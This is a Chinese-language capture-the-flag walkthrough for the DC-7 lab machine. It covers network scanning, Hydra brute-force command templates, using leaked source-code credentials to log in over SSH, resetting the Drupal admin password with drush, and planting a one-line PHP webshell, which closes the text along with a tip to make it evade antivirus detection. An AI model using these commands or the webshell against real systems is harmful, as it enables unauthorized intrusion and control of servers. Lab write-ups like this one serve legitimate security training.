前言
自信自强,来自于不怕苦、不怕难的积淀。宝剑锋从磨砺出,梅花香自苦寒来;任何美好理想,都离不开筚路蓝缕、手胼足胝的艰苦奋斗!
靶场介绍
DC-7是一个初中级的靶场,需要具备以下前置知识:
- 基础的Linux命令及操作(arp,whatweb…)
- 基础的渗透测试工具使用(Kali自带的工具,eg:Hydra,MSF…)
- Linux系统提权知识
友情提示:
该靶场只需要简单的下载,解压,打开并将其导入到VMware即可;应该将其网络配置为NAT模式,保证机器与kali在同一个网段下,方便操作
DC7小提示:
If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.What you will need to do, is to think “outside” of the box.Waaaaaay “outside” of the box.The ultimate goal of this challenge is to get root and to read the one and only flag.
翻译:如果需要诉诸蛮力或者字典攻击,很可能不会成功。你需要做的是跳出框框去思考。在盒子外面,这项挑战的最终目标是找到根并读取唯一的flag。
**信息收集 **
因为是靶机环境,所以无法模拟真实的"实战"环境;所以假设"目标"是一个局域网内的主机;为了确定"域控DC",我们可以通过kali中的arp-scan
来探测域环境;最后以namp
等端口扫描器进行端口判定
因为我只开了两台虚拟机,所以非常容易的通过arp命令就找到了CD靶机的IP地址
arp-scan -l nmap -sS IP
友情提示:namp扫描时建议使用nmap -sS IP
(nmap -p IP
容易引发网站崩溃和警报)如果你的系统不是linux那你可以考虑下载nmap图形化界面,有利于初学者
下一步通过访问80端口与22端口;确定在哪个端口进行打点;我们通过访问80端口可以发现左下角,存在一些信息泄露(页面不同是因为我已经登录成功所导致的)
补充:我们可以发现@DC7USER,可能存在敏感信息泄露
22端口:我们尝试使用Hydar对ssh的22端口进行暴力破解,最终破解失败
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip sshhydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
所以通过端口访问,我们从80端口进行突破;首先可以通过Wappalyzer这款插件进行信息收集;但是因为笔者kali没有下载,所以只能使用kali自带的whatweb
进行信息收集(使用方法:whatweb -v IP
)
使用whatweb探查结果如下所示:
然后祭出"MSF",但是可惜并没有可以利用的漏洞,但是我们根据"敏感信息"发现该靶场存在源代码泄露;通过谷歌(百度也可以)搜索"@DC7USER"关键词,找到源代码
更据提示信息发现 config.php文件( config.php文件读里可能存在配置文件信息…),与此同时我们发现了数据库密码
通过连接我们发现该数据库连接不上,但是我们的ssh却可以通过该密码连接成功!
**打点 **
因此我们可以使用ls命令,探测文件目录;在通过cat mbox查看文件配置和敏感信息与文件路径…
通过仔细的观察发现/opt/scripts(定时任务)的路径存在root的使用权限;我们首先通过cd /opt/scripts跳转到该目录;在使用ls查询,最后使用ls -l查看该文件夹是否有写入权限;如果我们获得了该文件的写入权限,就可以写入shell,然后依靠任务使用root去执行shell。但是我们发现该文件并没写入权限;于是通过cd 命令,去寻找其他漏洞;我们发现可以在/var/www/html目录下使用drush命令;于是可以我们更改网页的登录密码;代码如下:
cd /var/www/htmldrush user-password admin --password="123"
通过"success"我们可以知道,密码更改成功!尝试登陆网站!
**提权 **
通过输入修改后的密码,成功登录网站后台。
我们接着开始寻找"一句话木马"的写入点,我们发现content可能存在上传点
但是大多数上传点无法使用php,但是通过Extand可以安装php环境
安装成功!这时我们就可以通过该环境上传webshell!
这次我们使用网上常用的PHP一句话木马,建议有条件的可以对木马进行免杀处理(当然也可以使用PHP反弹shell的方式进行攻击)
<?php@preg_replace("/[email]/e",$_POST['123'],"error");?>
注意text format的格式改为PHP,即可通过图形化页面进行连接,进而获得flag!